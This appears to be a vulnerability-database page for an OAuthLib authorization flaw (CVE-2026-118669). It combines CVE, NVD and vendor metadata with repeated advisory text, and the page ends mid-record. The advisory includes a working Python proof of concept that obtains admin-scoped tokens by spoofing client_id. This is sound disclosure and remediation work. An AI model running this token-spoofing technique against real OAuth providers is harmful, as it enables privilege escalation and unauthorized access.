Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-118669 (GCVE-0-2026-118669)
Vulnerability from cvelistv5 – Published: 2026-10-28 21:09 – Updated: 2026-10-28 21:09- CWE-863 - Incorrect Authorization
| URL | Tags |
|---|---|
| https://github.com/oauthlib/oauthlib/security/adv… | x_refsource_CONFIRM |
| https://github.com/oauthlib/oauthlib/pull/920 | x_refsource_MISC |
| https://github.com/oauthlib/oauthlib/commit/c951a… | x_refsource_MISC |
| https://github.com/oauthlib/oauthlib/releases/tag… | x_refsource_MISC |
{
"containers": {
"cna": {
"affected": [
{
"product": "oauthlib",
"vendor": "oauthlib",
"versions": [
{
"status": "affected",
"version": "\u003c 4.0.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client\u0027s identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"privilegesRequired": "LOW",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-863",
"description": "CWE-863: Incorrect Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-28T21:09:58.893Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"
},
{
"name": "https://github.com/oauthlib/oauthlib/pull/920",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/oauthlib/oauthlib/pull/920"
},
{
"name": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"
},
{
"name": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
}
],
"source": {
"advisory": "GHSA-7984-qgvg-3j9c",
"discovery": "UNKNOWN"
},
"title": "OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-118669",
"datePublished": "2026-10-28T21:09:58.893Z",
"dateReserved": "2026-10-28T17:25:37.562Z",
"dateUpdated": "2026-10-28T21:09:58.893Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-118669",
"date": "2026-10-31",
"epss": "0.00312",
"percentile": "0.24161"
},
"microsoft_vex": {
"current_release_date": "2026-10-31T01:13:15.000Z",
"cve": "CVE-2026-118669",
"id": "msrc_CVE-2026-118669",
"initial_release_date": "2026-10-31T01:13:15.000Z",
"product_status:known_affected": "1",
"source": "Microsoft CSAF VEX",
"status": "final",
"title": "OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client",
"url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-118669.json",
"version": "1"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "oauthlib",
"vendor": "oauthlib",
"versions": [
{
"status": "affected",
"version": "\u003c 4.0.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client\u0027s identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0."
}
],
"id": "CVE-2026-118669",
"lastModified": "2026-10-29T16:19:37.750",
"metrics": {
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
},
"published": "2026-10-28T22:17:12.610",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/oauthlib/oauthlib/pull/920"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Awaiting Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-863"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
},
"redhat_vex": {
"aggregate_severity": "Important",
"current_release_date": "2026-10-30T15:04:47+00:00",
"cve": "CVE-2026-118669",
"id": "CVE-2026-118669",
"initial_release_date": "2026-10-28T21:09:58.893000+00:00",
"product_status:known_affected": "227",
"product_status:known_not_affected": "9",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "oauthlib: oauthlib: privilege escalation via client identity confusion in token grant handlers",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-118669.json",
"version": "3"
}
}
}
BREW-ANSIBLE-CVE-2026-118669 (GHSA-7984-QGVG-3J9C)
Vulnerability from osv_homebrew – Published: 2026-10-31 08:34 – Updated: 2026-10-31 08:34 – Source websiteSummary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.
In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
client_credentialspassword/ Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
- the attacker has credentials for one valid lower-privilege confidential client;
- another client has broader grants or scopes;
- the application validator uses the
client_idargument passed by OAuthlib invalidate_grant_type()orvalidate_scopes(), as theRequestValidatorAPI is designed to support.
Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.
Details
Request parses query and body parameters into request attributes, including client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66
For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119
The problematic order is:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".
The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
This creates an inconsistent identity state:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.
Concrete impact can include:
- issuing access tokens with scopes not assigned to the authenticated client;
- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
- persisting tokens under a spoofed
client_idwhile the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Run:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Expected result:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.
For authenticated confidential-client flows, a safer invariant is:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
This should happen before validate_grant_type() and validate_scopes() are called.
Reporters:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible",
"purl": "pkg:brew/ansible"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.4_1"
},
{
"fixed": "14.4.0_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "## Summary\n\nOAuthlib\u0027s token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client\u0027s `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n ...\nelif not hasattr(request.client, \u0027client_id\u0027):\n ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\" # authenticated client\nrequest.client_id == \"high\" # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client\u0027s grant and scope policy if the application\u0027s validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n BearerToken,\n ClientCredentialsGrant,\n RequestValidator,\n ResourceOwnerPasswordCredentialsGrant,\n TokenEndpoint,\n)\n\n\nclass Client:\n def __init__(self, client_id):\n self.client_id = client_id\n\n\nCLIENTS = {\n \"low\": {\n \"secret\": \"low-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\"},\n },\n \"high\": {\n \"secret\": \"high-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\", \"admin\"},\n },\n}\n\n\nclass DemoValidator(RequestValidator):\n def __init__(self):\n self.saved_tokens = []\n\n def authenticate_client(self, request, *args, **kwargs):\n authorization = request.headers.get(\"Authorization\", \"\")\n prefix = \"Basic \"\n if not authorization.startswith(prefix):\n return False\n\n decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n client_id, secret = decoded.split(\":\", 1)\n record = CLIENTS.get(client_id)\n if record is None or record[\"secret\"] != secret:\n return False\n\n # This is the authenticated client identity.\n request.client = Client(client_id)\n return True\n\n def client_authentication_required(self, request, *args, **kwargs):\n return True\n\n def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and grant_type in record[\"grants\"]\n\n def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and set(scopes or []) \u003c= record[\"scopes\"]\n\n def get_default_scopes(self, client_id, request, *args, **kwargs):\n return []\n\n def validate_user(self, username, password, client, request, *args, **kwargs):\n if username == \"alice\" and password == \"wonderland\":\n request.user = username\n return True\n return False\n\n def save_bearer_token(self, token, request, *args, **kwargs):\n self.saved_tokens.append({\n \"token\": dict(token),\n \"authenticated_client_id\": request.client.client_id,\n \"request_client_id\": request.client_id,\n \"scopes\": list(request.scopes or []),\n })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n default_grant_type=\"client_credentials\",\n default_token_type=token,\n grant_types={\n \"client_credentials\": ClientCredentialsGrant(validator),\n \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n },\n)\n\n\ndef low_client_headers():\n value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n _headers, response_body, status = endpoint.create_token_response(\n \"https://auth.example/token\",\n body=body,\n headers=low_client_headers(),\n )\n return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status == 200:\n raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status != 200:\n raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n if response.get(\"scope\") != \"admin\":\n raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n saved = validator.saved_tokens[-1]\n if saved[\"authenticated_client_id\"] != \"low\":\n raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n if saved[\"request_client_id\"] != \"high\":\n raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n \"control client_credentials as low requesting admin\",\n \"grant_type=client_credentials\u0026client_id=low\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed client_credentials as low with client_id=high\",\n \"grant_type=client_credentials\u0026client_id=high\u0026scope=admin\",\n)\n\nassert_rejected(\n \"control password as low requesting admin\",\n \"grant_type=password\u0026client_id=low\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed password as low with client_id=high\",\n \"grant_type=password\u0026client_id=high\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed client_credentials as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027}\ncontrol password as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed password as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027, \u0027refresh_token\u0027: \u0027...\u0027}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n \"authenticated_client_id\": \"low\",\n \"request_client_id\": \"high\",\n \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n if request.client_id is not None and request.client_id != request.client.client_id:\n raise InvalidClientError(...)\n request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/",
"id": "BREW-ansible-CVE-2026-118669",
"modified": "2026-10-31T08:34:52Z",
"published": "2026-10-31T08:34:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118669"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/920"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client",
"upstream": [
"GHSA-7984-qgvg-3j9c",
"CVE-2026-118669"
]
}
BREW-ANSIBLE@10-CVE-2026… (GHSA-7984-QGVG-3J9C)
Vulnerability from osv_homebrew – Published: 2026-10-31 08:54 – Updated: 2026-10-31 08:54 – Source websiteSummary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.
In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
client_credentialspassword/ Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
- the attacker has credentials for one valid lower-privilege confidential client;
- another client has broader grants or scopes;
- the application validator uses the
client_idargument passed by OAuthlib invalidate_grant_type()orvalidate_scopes(), as theRequestValidatorAPI is designed to support.
Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.
Details
Request parses query and body parameters into request attributes, including client_id:
